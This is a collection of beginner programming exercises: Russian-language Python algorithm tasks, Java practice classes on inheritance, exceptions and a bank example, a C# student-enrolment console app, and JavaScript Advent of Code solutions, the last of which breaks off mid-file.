rule_tab['8'].append(['8', '9', 'a', 'b', 'c', 'd', 'e', 'f', '1-0', '1-1', '1-2', '1-3', '1-4', '1-5', '1-6', '1-7']) rule_tab['9'].append(['9', 'a', 'b', 'c', 'd', 'e', 'f', '1-0', '1-1', '1-2', '1-3', '1-4', '1-5', '1-6', '1-7', '1-8']) rule_tab['a'].append(['a', 'b', 'c', 'd', 'e', 'f', '1-0', '1-1', '1-2', '1-3', '1-4', '1-5', '1-6', '1-7', '1-8', '1-9']) rule_tab['b'].append(['b', 'c', 'd', 'e', 'f', '1-0', '1-1', '1-2', '1-3', '1-4', '1-5', '1-6', '1-7', '1-8', '1-9', '1-a']) rule_tab['c'].append(['c', 'd', 'e', 'f', '1-0', '1-1', '1-2', '1-3', '1-4', '1-5', '1-6', '1-7', '1-8', '1-9', '1-a', '1-b']) rule_tab['d'].append(['d', 'e', 'f', '1-0', '1-1', '1-2', '1-3', '1-4', '1-5', '1-6', '1-7', '1-8', '1-9', '1-a', '1-b', '1-c']) rule_tab['e'].append(['e', 'f', '1-0', '1-1', '1-2', '1-3', '1-4', '1-5', '1-6', '1-7', '1-8', '1-9', '1-a', '1-b', '1-c', '1-d']) rule_tab['f'].append(['f', '1-0', '1-1', '1-2', '1-3', '1-4', '1-5', '1-6', '1-7', '1-8', '1-9', '1-a', '1-b', '1-c', '1-d', '1-e']) b_ind = a_ind = k = biggest = offset = 0 b_res = [] a_res = [] a = collections.deque((input(f'Введите первое hex число : '))) b = collections.deque((input(f'Введите второе hex число : '))) for i in b: for b_ind, item in enumerate(rule_tab['0'][0]): if i == item: b_res.append(b_ind) b_res.reverse() a.reverse() for i in a: for a_ind, a_item in enumerate(rule_tab[i][0]): if b_res[k] == a_ind: offset = 0 if a_item.startswith('1-'): offset, item = a_item.split('-') # если это не последнее число и оно вида 1-9, то 9 идёт в ответ, 1 в offset a_res.append(item) # если это последнее число и оно вида 1-9, то и 1 идет в ответ. d3 + f3 = 1c6 if 0 <= k < len(b_res): a_res.append(offset) else: a_res.append(a_item) k += 1 if 0 <= k < len(b_res): # если в offset что-то есть то изменяем индекс чтобы на следующей итерации взять правильный ответ. b_res[k] += int(offset) break a_res.reverse() print(f'Result {a_res}') <file_sep>/lesson-6/task-1.py """ Подсчитать, сколько было выделено памяти под переменные в ранее разработанных программах в рамках первых трех уроков. Проанализировать результат и определить программы с наиболее эффективным использованием памяти. Примечание: По аналогии с эмпирической оценкой алгоритмов идеальным решением будет: ● выбрать хорошую задачу, которую имеет смысл оценивать по памяти; ● написать 3 варианта кода (один у вас уже есть); ● проанализировать 3 варианта и выбрать оптимальный; ● результаты анализа (количество занятой памяти в вашей среде разработки) вставить в виде комментариев в файл с кодом. Не забудьте указать версию и разрядность вашей ОС и интерпретатора Python; ● написать общий вывод: какой из трёх вариантов лучше и почему. Я выбрал 2 задачу 3-его урока: В массиве случайных целых чисел поменять местами минимальный и максимальный элементы. OC Linux X64, Python 3.7.5 X64 """ import sys import random def sum_memory(x): sum_ = sys.getsizeof(x) print(f'TYPE = {type(x)} | SIZE = {sum_} | OBJ = {x}') if hasattr(x, '__iter__'): if hasattr(x, 'items'): for key, value in x.items(): sum_ += sum_memory(key) sum_ += sum_memory(value) elif not isinstance(x, str): for item in x: sum_ += sys.getsizeof(item) return sum_ def min_max_change(array, size): """ Переделал под функцию. Возвращает min_, max_ в общем случае, но в данном дикт атрибутов функции. NУдобнее измерять память. """ # если на вход придёт dict if isinstance(array, dict): array = [j for j in array.values()] min_ = 0 max_ = 0 for i in range(size): if array[i] < array[min_]: min_ = i elif array[i] > array[max_]: max_ = i b = array[min_] array[min_] = array[max_] array[max_] = b # return min_, max_ return locals() if __name__ == '__main__': SIZE = 10 MIN_ITEM = 0 MAX_ITEM = 10 test_arr = [random.randint(MIN_ITEM, MAX_ITEM) for _ in range(SIZE)] test_dict = {'d': 1, 'w': 2, 'e': 0} for k in [test_arr, test_dict]: dict_atr = min_max_change(k, len(k)) variables = [value for key, value in dict_atr.items()] print(f'Всего занято памяти {sum_memory(variables)}') # Вывод: # не стал использовать tuple т.к у него нет __setitem__, а мне нужно переставлять элементы и возникала ошибка. # в функцию подаю рандомный list и dict с числами. # list занял всего памяти = 476 # dict занял всего памяти = 376 # я выбираю dict в замерах он меньше потребляет памяти. <file_sep>/lesson-1/task-3.py """ блок-схема: https://drive.google.com/file/d/1fum955_eKLcDlSPouna657uZxIfMnv14/view?usp=sharing 3. Определить, является ли год, который ввел пользователь, високосным или не високосным. Год високосный, если он делится на 4 без остатка, но если он делится на 100 без остатка, это не високосный год. Однако, если он делится без остатка на 400, это високосный год. """ print('Введите год.') y = int(input('---> ')) if y % 4 != 0: print('Не вискосный') elif y % 100 == 0: if y % 400 == 0: print('Високосный') else: print('Не вискосный') else: print('Високосный') <file_sep>/lesson-2/task-3.py """ Ссылка на блок-схемы: https://drive.google.com/file/d/1GTGo-20iB7krcEjQWnVV_7rLL1q6p8RB/view?usp=sharing 3. Сформировать из введенного числа обратное по порядку входящих в него цифр и вывести на экран. Например, если введено число 3486, надо вывести 6843. """ data = int(input('Введите натуральное, целое число')) # 123 tmp = 0 while data > 0: tmp = tmp * 10 + data % 10 # в tmp = 3, 0 * 10 + 3 (123 % 10 дает единицы = 3). data = data // 10 # 123 // 10 перезаписываем data для доступа к следующей цифре, уменьшаем счетчик. print(f'Перевернутое число --> {tmp}') <file_sep>/lesson-5/task-1.py """ 1. Пользователь вводит данные о количестве предприятий, их наименования и прибыль за 4 квартал (т.е. 4 числа) для каждого предприятия. Программа должна определить среднюю прибыль (за год для всех предприятий) и отдельно вывести наименования предприятий, чья прибыль выше среднего и ниже среднего. """ import collections import random Company = collections.namedtuple('Company', ['p1', 'p2', 'p3', 'p4']) companes = {} total_profit = () # заполняем n = int(input("Количество компаний: ")) for i in range(n): company_name = input(str(i+1) + '-я компания: ') profit_p1 = int(input('Прибыль в 1-й квартал: ')) profit_p2 = int(input('Прибыль в 2-й квартал: ')) profit_p3 = int(input('Прибыль в 3-й квартал: ')) profit_p4 = int(input('Прибыль в 4-й квартал: ')) companes[company_name] = Company( p1=profit_p1, p2=profit_p2, p3=profit_p3, p4=profit_p4 ) # сумма за год и общая по всем компаниям for company_name, profit in companes.items(): print(f'Компания: {company_name} прибыль за год - {sum(profit)}') total_profit += profit # рассчет среднего для всех avg_profit_total = sum(total_profit) / len(companes) print(f'Средняя прибыль за год для всех компаний {avg_profit_total}') # больше менбше print('Компании, у которых прибыль выше среднего:') for company_name, profit in companes.items(): if sum(profit) > avg_profit_total: print(f'{company_name} - {sum(profit)}') print('Компании, у которых прибыль меньшк среднего:') for company_name, profit in companes.items(): if sum(profit) < avg_profit_total: print(f'{company_name} - {sum(profit)}') <file_sep>/lesson-3/task-3.py """ 3. Во втором массиве сохранить индексы четных элементов первого массива. Например, если дан массив со значениями 8, 3, 15, 6, 4, 2, второй массив надо заполнить значениями 0, 3, 4, 5, (индексация начинается с нуля), т.к. именно в этих позициях первого массива стоят четные числа. """ import random SIZE = 10 MIN_ITEM = 0 MAX_ITEM = 10 array = [random.randint(MIN_ITEM, MAX_ITEM) for _ in range(SIZE)] print(f'Исходный массив: {array}') res = [] for i in range(SIZE): if array[i] % 2 == 0: res.append(i) print(f'Индексы четных элементов: {res}') <file_sep>/lesson-8/task-1.py """ 1. Определение количества различных подстрок с использованием хеш-функции. Пусть на вход функции дана строка. Требуется вернуть количество различных подстрок в этой строке. Примечание: в сумму не включаем пустую строку и строку целиком. Пример работы функции: func("papa") 6 func("sova") 9 """ import hashlib def hash_sub_str(string): # пустая или строка полностью if len(string) == 0 or len(string) == 1: return len(string) hash_ = [] offset = 1 while offset < len(string): for i in range(0, len(string)): spam = hashlib.sha1(string[i:i + offset].encode('utf-8')).hexdigest() hash_.append(spam) offset += 1 res = set(hash_) return len(res) if __name__ == '__main__': str_ = input('Введите строку: ') count_ = hash_sub_str(str_) print(f'строка : {str_}\nподстрок : {count_}') <file_sep>/lesson-7/task-1.py """ Отсортируйте по убыванию методом пузырька одномерный целочисленный массив, заданный случайными числами на промежутке [-100; 100). Выведите на экран исходный и отсортированный массивы. Примечания: ● алгоритм сортировки должен быть в виде функции, которая принимает на вход массив данных, ● постарайтесь сделать алгоритм умнее, но помните, что у вас должна остаться сортировка пузырьком. Улучшенные версии сортировки, например, расчёской, шейкерная и другие в зачёт не идут. """ import random def bubble_sort(arr): n = 1 while n < len(arr): for i in range(len(arr) - 1): if arr[i] < arr[i + 1]: arr[i], arr[i + 1] = arr[i + 1], arr[i] n += 1 return arr if __name__ == '__main__': SIZE = 10 array = [random.randint(-100, 99) for _ in range(SIZE)] print(f'Исходный массив = {array}') print(f'Отсортированный = {bubble_sort(array)}') <file_sep>/lesson-2/task-5.py """ Ссылка на блок-схемы: https://drive.google.com/file/d/1GTGo-20iB7krcEjQWnVV_7rLL1q6p8RB/view?usp=sharing 5. В программе генерируется случайное целое число от 0 до 100. Пользователь должен его отгадать не более чем за 10 попыток. После каждой неудачной попытки должно сообщаться, больше или меньше введенное пользователем число, чем то, что загадано. Если за 10 попыток число не отгадано, вывести правильный ответ. """ from random import random def guessing_game(i, n): max_count = 10 if i <= max_count: user_num = int(input(f'{str(i)} -я попытка: ')) if user_num > n: return f'\n{str(i)} -я попытка: Много {guessing_game(i+1, n)}' elif user_num < n: return f'\n{str(i)} -я попытка: Мало {guessing_game(i+1, n)}' else: return f'\nВы угадали с {i}-й попытки' else: return f'\nВы исчерпали 10 попыток. Было загадано {n}' if __name__ == '__main__': rand_num = round(random() * 100) index = 1 print('есть 10 попыток') res = guessing_game(index, rand_num) print(res) <file_sep>/lesson-2/task-1.py """ Ссылка на блок-схемы: https://drive.google.com/file/d/1GTGo-20iB7krcEjQWnVV_7rLL1q6p8RB/view?usp=sharing 1. Написать программу, которая будет складывать, вычитать, умножать или делить два числа. Числа и знак операции вводятся пользователем. После выполнения вычисления программа не завершается, а запрашивает новые данные для вычислений. Завершение программы должно выполняться при вводе символа '0' в качестве знака операции. Если пользователь вводит неверный знак (не '0', '+', '-', '*', '/'), программа должна сообщать об ошибке и снова запрашивать знак операции. Также она должна сообщать пользователю о невозможности деления на ноль, если он ввел его в качестве делителя. """ print('0 - выход из программы.') while True: data = input('знак --> (+,-,*,/) --> ') if data == '0': # пользователь захотел выйти break if data in ('+', '-', '*', '/'): d1 = float(input('num 1 --> ')) d2 = float(input('num 2 --> ')) if data == '+': print(f'{d1 + d2:.2f}') elif data == '-': print(f'{d1 - d2:.2f}') elif data == '*': print(f'{d1 * d2:.2f}') elif data == '/': if d2 != 0: # проверка деления на 0 print(f'{d1 / d2:.2f}') else: print('Деление на ноль!') else: print('Операция неподдерживается.')
d5d658583ea4a291d0cd73120445df1601aa3f26
[ "Python" ]
20
Python
MaximTretjakov/algorithms
b85a4fffc0c0f5436f9e3470c626d292337d87fa
f9f03769c94972cb6bebcb2017f8f33275b408b0
refs/heads/master
<file_sep>using System; using System.Collections.Generic; using System.Globalization; using Project.Code; namespace Project.App { class Program { static void Main() { //deklaracija varijabli i objekata string operationInput; string firstName; string lastName; string unformatedGpaInput; float gpa; bool isGpaFloat; int id; Student Student; StudentIdGenerator IdGenerator = StudentIdGenerator.GetGenerator(); StudentContainer StudentContainer = new StudentContainer(); List<Student> ListStudent; //ove 2 linije koda omogucuju unos gpa preko float vrijednosti s "." var Culture = (CultureInfo)CultureInfo.CurrentCulture.Clone(); Culture.NumberFormat.NumberDecimalSeparator = "."; //program se vrti dok korisnik ne upise display, omoguceno preko do-while do { //unos i provjera operacije while (true) { Console.Write("Operation: "); operationInput = Console.ReadLine().ToUpper(); if (!InputCheck.OperationCheck(operationInput)) { Console.WriteLine("Operation non-existing, please use appropriate operation."); continue; } else break; } //ovisno o isEnlist i isDisplay izvode se blokovi if (operationInput == Operations.Enlist) { //unos i provjera imena studenta Console.WriteLine("Student"); while (true) { Console.Write("First name: "); firstName = Console.ReadLine(); if (!InputCheck.FirstNameCheck(firstName)) { Console.WriteLine("You need to insert value."); continue; } else break; } //unos i provjera prezimena studenta while (true) { Console.Write("Last name: "); lastName = Console.ReadLine(); if (!InputCheck.LastNameCheck(lastName)) { Console.WriteLine("You need to insert value."); continue; } else break; } //unos i provjera gpa studenta, potreban unos u obliku 00.0 while (true) { Console.Write("GPA: "); unformatedGpaInput = Console.ReadLine(); InputCheck.IsFloat(unformatedGpaInput, Culture, out isGpaFloat, out gpa); if (!isGpaFloat) { Console.WriteLine("You need to insert numerical value."); continue; } else break; } id = IdGenerator.NextId(); //kreiranje novog objekta preko parametarskog konstruktora i dodavanje u listu Student = new Student(id, firstName, lastName, gpa); StudentContainer.AddStudent(Student); } if (operationInput == Operations.Display) { //u slucaju odabira operacije display u novi objekt se kopira lista iz //klase StudentContainer, ako je prazna daje poruku ako nije ispisuje ju Console.WriteLine("Students in system:"); ListStudent = StudentContainer.GetSortedStudents(); if (ListStudent.Count == 0) { Console.WriteLine("There are no students in system."); } else { foreach (Student student in ListStudent) { Student sList = student; Console.WriteLine(sList.ID + ". " + sList.LastName + ", " + sList.FirstName + " - " + sList.Gpa.ToString(Culture)); } } } } while (operationInput != Operations.Display); } } }<file_sep>using System; /*klasa StudentIdGenerator sluzi kako bi objekt ove klase * mogao studentu pridodijeliti random id, za najvecu mogucu vrijednost * id-a postavljen je broj 100*/ //--izmjena /* koristen je singleton pattern za generiranje ID-a * u klasi StudentIdGenerator kreira se novi objekt te klase - instance * prilikom kreiranja objekta u def konstruktoru(nextID ovdje sluzi kao brojac) * nextID se postavlja na 1 te se na pozivu metode nextId ID u klasi Program.cs povecava za 1 * kada se implementira singleton pattern to znaci da se moze postojati samo jedan * objekt te klase a on je vec napravljen u roditeljskoj klasi, zato postoji ova metoda * getGenerator i ona se poziva u Program.cs umjesto da se kreira novi objekt*/ namespace Project.Code { public class StudentIdGenerator { private static StudentIdGenerator Instance; private int nextID; private StudentIdGenerator() { nextID = 1; } public static StudentIdGenerator GetGenerator() { if (Instance == null) { Instance = new StudentIdGenerator(); } return Instance; } public int NextId() { return nextID++; } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Globalization; /* *klasa Inputcheck služi za provjeru korisnikovog unosa *sadrzi 4 funkcije koje vracaju bool vrijednost ovisno o provjeri korisnikovog unosa*/ namespace Project.Code { public class InputCheck { //vraca false ako je uneseno ista drugo osim ENLIST ili DISPLAY public static bool OperationCheck(string operation) { if (operation != Operations.Enlist && operation != Operations.Display) { return false; } else { return true; } } //vraca true ako je unos prazan string public static bool FirstNameCheck(string firstName) { if (firstName == "") { return false; } else { return true; } } public static bool LastNameCheck(string lastName) { if (lastName == "") { return false; } else { return true; } } //vraca true i float varijablu ako je broj uspjesno parsiran public static void IsFloat(string unformatedGPA, CultureInfo Culture, out bool isFloat, out float gpa) { isFloat = float.TryParse(unformatedGPA, NumberStyles.AllowDecimalPoint, Culture, out gpa); } } }<file_sep>using System; /**klasa person sadrzi *atribute i metode koji su potrebni *za opis neke osobe, u cjelokupnom projektu nije kreiran nijedan objekt klase Person ali se defaultni konstruktor poziva pri kreiranju objekta klase Student*/ namespace Project.Code { public abstract class Person { public int ID { set; get; } public string FirstName { set; get; } public string LastName { set; get; } } }<file_sep>using System; using System.Collections.Generic; using System.Linq; /*klasa StudentContainer sadrzi listu u koju se spremaju * studenti koje je korisnik unio, unos se vrsi preko funkcije * addStudent, preko objekta klase StudentContainer mogu se ispisati * objekti iz liste nesortirano i sortirano*/ namespace Project.Code { public class StudentContainer { private List<Student> StudentList = new List<Student>(); public void AddStudent(Student student) { this.StudentList.Add(student); } public List<Student> GetStudents() { return this.StudentList; } //stara f za sortiranje preko delegate /*public List<Student> GetSortedStudents() { studentList.Sort(delegate(Student x, Student y) { return x.lastName.CompareTo(y.lastName); } ); return studentList; }*/ //nova f za sortiranje preko lambda expressiona public List<Student> GetSortedStudents() { StudentList = StudentList.OrderBy(s => s.LastName).ToList(); return StudentList; } } }<file_sep>using System; /*klasa Student nasljeduje klasu Person i njene atribute i metode * uz id, firstName i lastName koji su nasljeđeni dodan je i atribut * gpa koji je unikatan za studenta*/ namespace Project.Code { public class Student : Person { public Student() : base() { } public Student(int id, string firstName, string lastName, float gpa) { this.ID = id; this.FirstName = firstName; this.LastName = lastName; this.Gpa = gpa; } public float Gpa { set; get; } } }<file_sep>using System; /*staticna klasa koja sadrzi staticne * metode i varijable, varijable predstavljaju * operacije koje su podrzane u programu*/ namespace Project.Code { public static class Operations { public const string Enlist = "ENLIST"; public const string Display = "DISPLAY"; } }
129cf98bc6bd3258436ae2d8404b6b93fb06ad28
[ "C#" ]
7
C#
stjepan1211/Project-Test
8695587c7da00db5ee1dfc22d467cd32c4367406
e63b35cd77851eea6255d66d797b6ba424619629
refs/heads/main
<repo_name>JLLQA/Java<file_sep>/src/com/qa/day4/abstraction/Animal.java package com.qa.day4.abstraction; public abstract class Animal { // no details for the method abstract public void speak(); abstract public void eat(); public void hungry() { System.out.println("Feed me"); } public void walkies() { System.out.println("This is in the base class"); } } <file_sep>/src/com/qa/day7/Optional/Record.java package com.qa.day7.Optional; public class Record { String name, address; int regno, marks; } <file_sep>/src/com/qa/day6/exceptions/First.java package com.qa.day6.exceptions; public class First { public static void main(String numbers[]) { int First, Second, Result = 0; try { First = Integer.parseInt(numbers[0]); Second = Integer.parseInt(numbers[1]); Result = First / Second; } catch(ArithmeticException A) { System.out.println("What are you doing?"); } catch(ArrayIndexOutOfBoundsException A) { System.out.println("Location does not exist"); } catch(NumberFormatException A) { System.out.println("Only numbers please"); } System.out.println("The result is : " + Result); } } <file_sep>/src/com/qa/day4/garageTask/Tank.java package com.qa.day4.garageTask; public class Tank extends Vehicle { private boolean bigCannon= true; public Tank(String id, int doors, int wheels, int seats, int engineSize) { super(id, doors, wheels, seats, engineSize); } public void infoSheet() { System.out.println("Number of seats: " + super.getSeats() + ", Number of wheels: " + super.getWheels() + ", Engine: " + super.getSize() + ", Big cannon: " + bigCannon); } } <file_sep>/src/com/qa/day5/staticTest/Person.java package com.qa.day5.staticTest; public class Person { private String name; private String eyeColour; public static int numberOfPeople; public Person(String name, String colour) { this.name = name; this.eyeColour = colour; numberOfPeople++; } // Getters and Setters public static void setNumOfPeople(int numPeople) { Person.numberOfPeople = numPeople; } }<file_sep>/src/com/qa/day2/Coins.java package com.qa.day2; public class Coins { public static void coins(double a, int b) { double c = 0; //b = b * 100; //a = a * 100; c = b - a; System.out.println("Change required: " + c + "p"); //double chn = c * 100; double chn = c; //chn = Math.round(chn); System.out.println(chn); int a20 = 0; int a10 = 0; int a5 = 0; int a2 = 0; switch (b) { case 20: if (20 == b) { System.out.println("here"); while (chn >= 1000) { chn = chn - 1000; a20++; } System.out.println(a20 + " £10 notes"); while (chn >= 500) { chn = chn - 500; a10++; } System.out.println(a10 + " £5 notes"); while (chn >= 20) { chn = chn - 20; a5++; } System.out.println(a5 + " 20p coins"); while (chn >= 2) { chn = chn - 2; a2++; } System.out.println(a2 + " 2p coins"); } break; case 10: if (10 == b) { while (chn >= 500) { chn = chn - 500; a10++; } System.out.println(a10 + " £5 notes"); while (chn >= 20) { chn = chn - 20; a5++; } System.out.println(a5 + " 20p coins"); while (chn >= 2) { chn = chn - 2; a2++; } System.out.println(a2 + " 2p coins"); } break; case 5: if (5 == b) { while (chn >= 20) { chn = chn - 20; a5++; } System.out.println(a5 + " 20p coins"); System.out.println(chn); while (chn >= 2) { chn = chn - 2; a2++; } System.out.println(a2 + " 2p coins"); } break; default: System.out.println(c); break; } } public static void main(String[] args) { coins(4.58, 20); } } <file_sep>/src/com/qa/day4/interfaces/Pig.java package com.qa.day4.interfaces; public class Pig implements Animal{ @Override public void speak() { System.out.println("Oink"); } @Override public void sleep() { System.out.println("Zzzzzzz"); } } <file_sep>/src/com/qa/day5/scannerExample/Calculator.java package com.qa.day5.scannerExample; import java.util.Scanner; public class Calculator { public static void calc() { Scanner num = new Scanner(System.in); System.out.println("Select first number:"); int a = num.nextInt(); System.out.println("Select second number:"); int b = num.nextInt(); // operator check int op = 0; System.out.println("Select operator:"); System.out.println("Addition = 1"); System.out.println("Subtraction = 2"); System.out.println("Multiplication = 3"); System.out.println("Division = 4"); int c = num.nextInt(); do { if (c == (int) c) { if (c <= 4 && c >= 1) { op = 1; } else { System.out.println("Please enter a correct operator:"); System.out.println("Addition = 1"); System.out.println("Subtraction = 2"); System.out.println("Multiplication = 3"); System.out.println("Division = 4"); c = num.nextInt(); } } else { System.out.println("Please enter a operator"); System.out.println("Addition = 1"); System.out.println("Subtraction = 2"); System.out.println("Multiplication = 3"); System.out.println("Division = 4"); c = num.nextInt(); } } while (op == 0); num.close(); // Calculator System.out.println("Answer:"); if (c == 1) { int aa = Operators.Addition(a, b); System.out.println(aa); } else if (c == 2) { int bb = Operators.Subtraction(a, b); System.out.println(bb); } else if (c == 3) { int cc = Operators.Multiplication(a, b); System.out.println(cc); } else if (c == 4) { if (a < b) { System.out.println("Division cannot be performed"); } else { double dd = Operators.Division(a, b); System.out.println(dd); } } } } <file_sep>/src/com/qa/day5/scannerExample/PersonDetails.java package com.qa.day5.scannerExample; import java.util.ArrayList; import java.util.Scanner; import com.qa.day3.Person; import com.qa.day3.PersonManager; public class PersonDetails { public static void Details() { Scanner details = new Scanner(System.in); System.out.println("Please enter name: "); String a = details.nextLine(); System.out.println("Please enter age: "); int b = details.nextInt(); details.nextLine(); System.out.println("Please enter job: "); String c = details.nextLine(); details.close(); Person p1 = new Person(a, b, c); Person p2 = new Person("Sammy", 6, "Goverment"); Person p3 = new Person("Luke", 69, "Devops"); Person p4 = new Person("Dan", 27, "Rower"); // Method 2 p1.personString(); p2.personString(); // specify the data type of what you want to store ArrayList<Person> people = new ArrayList<Person>(); people.add(p1); people.add(p2); people.add(p3); people.add(p4); PersonManager manager = new PersonManager(); manager.addPerson(p1); manager.addPerson(p2); manager.addPerson(p3); manager.addPerson(p4); manager.search("william"); } } <file_sep>/src/com/qa/day4/animalsTask/Rhino.java package com.qa.day4.animalsTask; public class Rhino extends Animal { private boolean horn = true; public void infoSheet() { System.out.println("Horn: " + this.horn + ", Tail: " + super.getTail() + ", Number of legs: " + super.getLegs()); } @Override public void move() { System.out.println("I charge"); } public void skin() { System.out.println("My hide is thick"); } } <file_sep>/src/com/qa/day6/Bank/Bank.java package com.qa.day6.Bank; public class Bank { int balance; public void deposit(int amo) { balance += amo; } public void showBalance() { System.out.println("Your current balance: " + balance); } public void withDraw(int amo) throws WithdrawException { if (amo > balance) { WithdrawException E = new WithdrawException(); throw E; } else { balance -= amo; } } } <file_sep>/src/com/qa/day4/garageTask/Bike.java package com.qa.day4.garageTask; public class Bike extends Vehicle { private boolean stand = true; public Bike(String id, int doors, int wheels, int seats, int engineSize) { super(id, doors, wheels, seats, engineSize); } public void infoSheet() { System.out.println("Number of seats: " + super.getSeats() + ", Number of wheels: " + super.getWheels() + ", Engine: " + super.getSize() + ", Bike stand: " + stand); } } <file_sep>/src/com/qa/day4/interfaces/Animal.java package com.qa.day4.interfaces; public interface Animal { // expects every method in this file to be ABSTRACT // meaning no implementation public void speak(); public void sleep(); } <file_sep>/src/com/qa/day6/exceptions/AbsentiesException.java package com.qa.day6.exceptions; public class AbsentiesException extends Exception { } <file_sep>/src/com/qa/day4/abstraction/Elephant.java package com.qa.day4.abstraction; public class Elephant extends Animal { @Override public void speak() { System.out.println("Elephant noises"); } @Override public void eat() { System.out.println("Nom nom nom"); } } <file_sep>/README.md # Java This is everything Java completed so far. Day 1: * (Please ignore) Day 2: * (Please ignore) Day 3: * Tasks * Person Day 4: * Inheritance * Polymorphism * Abstraction * Interfaces * Tasks * Animals * Garage Day 5: * Static * Scanner * Tasks * Calculator * Person (wip) * Game Day 6: * Exceptions * Tasks * Bank Day 7: * Generics * Optional * Singleton <file_sep>/src/com/qa/day6/Bank/Main.java package com.qa.day6.Bank; public class Main { public static void main(String[] args) { Bank natwest = new Bank(); natwest.deposit(200); natwest.deposit(500); natwest.showBalance(); try { natwest.withDraw(3000); } catch (WithdrawException R) { System.out.println("We can help"); } Bank lloyds = new Bank(); lloyds.deposit(100); lloyds.showBalance(); try { lloyds.withDraw(500); } catch (WithdrawException R) { System.out.println("Not allowed"); } } } <file_sep>/src/com/qa/day2/SwitchRunner.java package com.qa.day2; public class SwitchRunner { public static void main(String[] args) { int in = 1; switch (in) { case 1: if (1 == in) System.out.println("January"); break; case 2: if (2 == in) System.out.println("February"); break; case 3: if (3 == in) System.out.println("March"); break; case 4: if (4 == in) System.out.println("April"); break; case 5: if (5 == in) System.out.println("May"); break; case 6: if (6 == in) System.out.println("June"); break; case 7: if (7 == in) System.out.println("July"); break; case 8: if (8 == in) System.out.println("August"); break; case 9: if (9 == in) System.out.println("September"); break; case 10: if (10 == in) System.out.println("October"); break; case 11: if (11 == in) System.out.println("November"); break; case 12: if (12 == in) System.out.println("December"); break; default: System.out.println("Not within range"); break; } int b = 4; Integer a = 3; if (a instanceof Integer) { } //System.out.println(b); //int c = b + 5; //MyIntWrapper.set(3); //MyIntWrapper.print(); //Iterations.forloop(5); //Iterations.whileloop(); //Iterations.dowhile(); //Iterations.flow1(100); //Iterations.flow2(100); } } <file_sep>/src/com/qa/day1/Hello.java package com.qa.day1; public class Hello { public static void method1() { System.out.println("method1"); } public static void method2() { System.out.println("method2"); } public static void method3() { System.out.println("method3"); } public static void runall() { method1(); method2(); method3(); } public static void h1() { System.out.println("Hello world - h1"); } public static void h2(String name) { System.out.println("Hello world" + name); } public static void h3(String fname, String sname) { System.out.println("Hello " + fname + sname); } public static void h4() { String name = " bob"; System.out.println("Hello world" + name); } public static String h5() { System.out.println("h5"); return "Hello world - return"; } } <file_sep>/src/com/qa/day1/Operators.java package com.qa.day1; public class Operators { public static int Addition(int a, int b) { int Ans = a + b; return Ans; } public static int Subtraction(int a, int b) { int Ans = a + b; return Ans; } public static int Multiplication(int a, int b) { int Ans = a * b; return Ans; } public static double Division(double a, double b) { double Ans = a / b; return Ans; } } <file_sep>/src/com/qa/day6/exceptions/HSBC.java package com.qa.day6.exceptions; public class HSBC { public void SalarySlip(int salary, int absenties) throws AbsentiesException { float tax = salary * 30 / 100; try { if (absenties > 10) { AbsentiesException ref = new AbsentiesException(); throw ref; } } catch (AbsentiesException t) { System.out.println("too many"); } System.out.println("Your tax is: " + tax); } }
d0c85c534932b79f5ad1329e806c93778fc7249a
[ "Markdown", "Java" ]
21
Java
JLLQA/Java
caa871d2f91db3c69454e3848a9e962d478cc88a
770486a43017d48f93c31a70ef9de36ca40575e1
refs/heads/master
<repo_name>Pedr0Leite/adventOfCode<file_sep>/2019/day3/day3_test2.js var _ = require('underscore'); var fs = require('fs'); var read = fs.readFileSync("input_day3_2019.txt", 'utf8'); // var read = fs.readFileSync("input_test_day3_2019.txt", 'utf8'); // var read = fs.readFileSync("small_input_day3_test.txt", 'utf8'); var data = read.toString().split(","); const [c1, c2] = read.split('\n').slice(0); var test1 = c1.slice(0).trim(); // console.log('test1 :', test1); // console.log('cable1: ', cable1_coordenates); test1 = test1.split(','); var test2 = c2.slice(0).trim(); test2 = test2.split(','); class Point{ constructor(x,y){ this.x = x; this.y = y; } }; class Line{ constructor(p1,p2){ this.point1 = p1; //x,y this.point2 = p2; } }; //Tutorial from internet // Build points function point_constructor(array) { var coordenates = []; var starting_point = new Point(0,0); coordenates.push(starting_point); var current_point = new Point(0,0); for(let i = 0; i < array.length; i++){ var ltr = array[i].charAt(0); var number = parseInt(array[i].slice(1)); let x = current_point.x; let y = current_point.y; var distance = parseInt(array[i].substring(1, array[i].length)); //will be needed for part2? // console.log('distance :', distance); if(ltr == "R"){ x += number; current_point.x = x; coordenates.push(new Point(x,y)); }else if(ltr == "L"){ x-= number; current_point.x = x; coordenates.push(new Point(x,y)); }else if(ltr == "U"){ y+= number; current_point.y = y; coordenates.push(new Point(x,y)); }else if(ltr == "D"){ y-= number; current_point.y = y; coordenates.push(new Point(x,y)); } } return coordenates; } var points1 = point_constructor(test1); // console.log('points1 :', points1); var points2= point_constructor(test2); // console.log('points2 :', points2.length); function line_constructor(arr1) { var line = []; for(var i = 0; i< arr1.length - 1; i++){ var semiline = new Line(arr1[i], arr1[i+1]); line.push(semiline); } return line; } var wire1 = line_constructor(points1); // console.log('wire1 :', wire1); var wire2 = line_constructor(points2); // console.log('wire2 :', wire2); const solve = function (wire1, wire2) { //wire //const wires = input.split'\n'.map(wire =>parse(wire)); const intersection = []; wire1.map((w1) => { wire2.map((w2) => { if((w1.point1.x == w1.point2.x) ^ (w2.point1.x == w2.point2.x)){ const vertical = w1.point1.x == w1.point2.x ? w1 : w2; const horizontal = w1.point1.x == w1.point2.x ? w2 : w1; const minX = Math.min(horizontal.point1.x, horizontal.point2.x); const maxX = Math.max(horizontal.point1.x, horizontal.point2.x); const minY = Math.min(vertical.point1.y, vertical.point2.y); const maxY = Math.max(vertical.point1.y, vertical.point2.y); if(vertical.point1.x >= minX && vertical.point1.x <= maxX && horizontal.point1.y >= minY && horizontal.point1.y <= maxY){ intersection.push(new Point(vertical.point1.x, horizontal.point1.y)); } }; }); }); const distance = intersection.filter(p => p.x != 0 || p.y !=0) .map(p => Math.abs(p.x) + Math.abs(p.y)); return Math.min(...distance); }; console.log('Solve: ', solve(wire1, wire2)); <file_sep>/2020/day1/day1_2020.js var fs = require("fs"); var read = fs.readFileSync("day1_2020_input.txt"); var part1 = require('./day1_2020_utils').part1; var part2 = require('./day1_2020_utils').part2; var data = read.toString().split("\r\n"); //part 1 part1(data); //part2 part2(data)<file_sep>/2020/day11/day11_2020_utils.js const day11 = (data) => { const occupiedSeats = (arr) => { return arr.filter(x => x == "#").length }; let seatArr = []; let stop = 